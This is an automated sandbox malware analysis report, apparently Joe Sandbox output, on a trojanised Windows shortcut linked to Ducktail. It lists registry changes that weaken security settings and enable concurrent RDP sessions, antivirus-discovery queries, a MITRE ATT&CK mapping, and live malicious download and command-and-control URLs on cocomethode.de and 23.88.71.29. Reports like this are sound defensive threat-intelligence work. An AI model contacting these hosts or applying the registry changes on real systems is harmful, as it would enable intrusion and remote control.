Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation

Source: C:\Windows\Temp\svczHost.exe

Code function: 21_2_00007FF6B1E3BFE0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

21_2_00007FF6B1E3BFE0

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Modifies security policies related information

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa DisableRestrictedAdmin

Source: powershell.exe, 00000004.00000002.4184495621.0000016FF8885000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4178797807.0000016FF8588000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4191864784.00000177F9C4B000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4184495621.0000016FF8815000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4867362458.000001DDEF091000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4857638281.000001DDEEF50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 0000000C.00000002.4867362458.000001DDEF091000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - Root\SecurityCenter2 : select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9168, type: MEMORYSTR
Source: Yara match	File source: 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4053919811.0000016FE0DCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_5508.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5508, type: MEMORYSTR

Remote Access Functionality

Yara detected Ducktail

Source: Yara match	File source: Process Memory Space: svczHost.exe PID: 9168, type: MEMORYSTR
Source: Yara match	File source: 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4053919811.0000016FE0DCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: amsi64_5508.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6616, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5508, type: MEMORYSTR

Allows multiple concurrent remote connection

Source: C:\Windows\Temp\myRdpService.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server fSingleSessionPerUser

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	331 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	1 Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Process Injection	1 Obfuscated Files or Information	Security Account Manager	126 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	5 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 Process Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	251 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3y37oMIUy6.lnk	29%	ReversingLabs	Shortcut.Trojan.Pantera
3y37oMIUy6.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://cocomethode.de/609aafcaa	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	100%	Avira URL Cloud	malware
https://cocomethode.X2	0%	Avira URL Cloud	safe
http://cocomethode.de	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	100%	Avira URL Cloud	malware
https://login.live	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	100%	Avira URL Cloud	malware
http://crl.ver)	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	Avira URL Cloud	safe
https://go.micro	0%	Avira URL Cloud	safe
http://crl.microsof	0%	Avira URL Cloud	safe
http://crl.microsoft.coB	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192	100%	Avira URL Cloud	malware
http://cocomethode.de/api/check	100%	Avira URL Cloud	malware
https://cocomethode.de/fbJ5ex	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	100%	Avira URL Cloud	malware
http://pesterbdd.com/images/Pester.pngXz	0%	Avira URL Cloud	safe
http://html4/loose.dtd	0%	Avira URL Cloud	safe
https://cocomethode.de	100%	Avira URL Cloud	malware
http://crl.glo	0%	Avira URL Cloud	safe
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	100%	Avira URL Cloud	malware
http://crl.t.com/pki/crl/pricRooCerAut_2010rl0Z	0%	Avira URL Cloud	safe
https://cocomethode.de/StaticFile/RdpService/63ice	100%	Avira URL Cloud	malware
http://.css	0%	Avira URL Cloud	safe
https://cocomethode.de/StaticFile/TermServiceTryRun/43	100%	Avira URL Cloud	malware
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a6904	100%	Avira URL Cloud	malware
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	100%	Avira URL Cloud	malware
http://.jpg	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/058	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/api/registry	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.pngh	0%	Avira URL Cloud	safe
http://wsoft.com/pki/ceroCerAut_2010-06-	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	100%	Avira URL Cloud	malware
http://23.88.71.29:8000/client/ws	0%	Avira URL Cloud	safe
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	100%	Avira URL Cloud	malware
http://cocomethode.de:443/	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc	100%	Avira URL Cloud	malware
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	100%	Avira URL Cloud	malware
http://crl.microsof/crl/products/MicTimStaPCA_2010-07-01.crl0Z	0%	Avira URL Cloud	safe
http://crl.m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cocomethode.de	104.21.1.51	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://23.88.71.29:8000/api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae6d8d447eefbc078c119c5da54d097ff	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f4420e48c95972afcef6	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/192	false	Avira URL Cloud: malware	unknown
http://cocomethode.de/api/check	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/fbJ5ex	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a80c45020b00110eac9c	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/StaticFile/TermServiceTryRun/43	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/api/registry	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	false	Avira URL Cloud: malware	unknown
http://23.88.71.29:8000/client/ws	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bae5c01e61a69043ec64a29656e39e6e0b	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.microsoft.co	powershell.exe, 0000000C.00000002.4869697403.000001DDEFFD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bacd29b28e3e20f	powershell.exe, 00000004.00000002.4053919811.0000016FE0BB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/02/scrvice	svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80604e	svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cocomethode.de	powershell.exe, 00000008.00000002.3949447703.0000020080CA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2004/09/policye	svchost.exe, 00000014.00000002.5355970654.000002B706F13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba823aa52afa40a	powershell.exe, 0000000C.00000002.4298843299.000001DD803BB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD8188C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cocomethode.de/609aafcaa	powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY	powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000014.00000002.5356412336.000002B706F6D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	svczHost.exe, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, myRdpService.exe	false		high
https://aka.ms/winsvr-2022-pshelpXz	powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/nativeaot-compatibility	myRdpService.exe	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.3833875845.00000273101B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3833875845.0000027310081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.3816213089.00000273014EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4168001011.0000016FF0535000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020081654000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3996239881.0000020090076000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsds	svchost.exe, 00000014.00000002.5356243546.000002B706F37000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cocomethode.X2	powershell.exe, 00000004.00000002.4053919811.0000016FE17CC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=80502	svchost.exe, 00000014.00000003.4008548056.000002B706F4B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.5353404439.000002B706640000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.3816213089.0000027300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4053919811.0000016FE04C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4689353491.000001DD908AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80001000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000015.00000002.5365788185.00007FF6B248B000.00000002.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5365382282.00007FF6B2200000.00000004.00000001.01000000.00000009.sdmp, svczHost.exe, 00000015.00000002.5357294614.0000020915F46000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exe	false		high
https://login.live	svchost.exe, 00000014.00000002.5355101868.000002B706702000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000008.00000002.4010478020.00000200F0F10000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD80C0B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.4298843299.000001DD804C9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000008.00000002.3949447703.00000200814D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.0000020080268000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3949447703.000002008147E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600y0	svchost.exe, 00000014.00000002.5353297859.000002B706624000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.3949447703.0000020080D97000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/MartinKuschnik/WmiLight	svczHost.exe, 00000015.00000002.5357294614.0000020915648000.00000004.00001000.00020000.00000000.sdmp	false		high
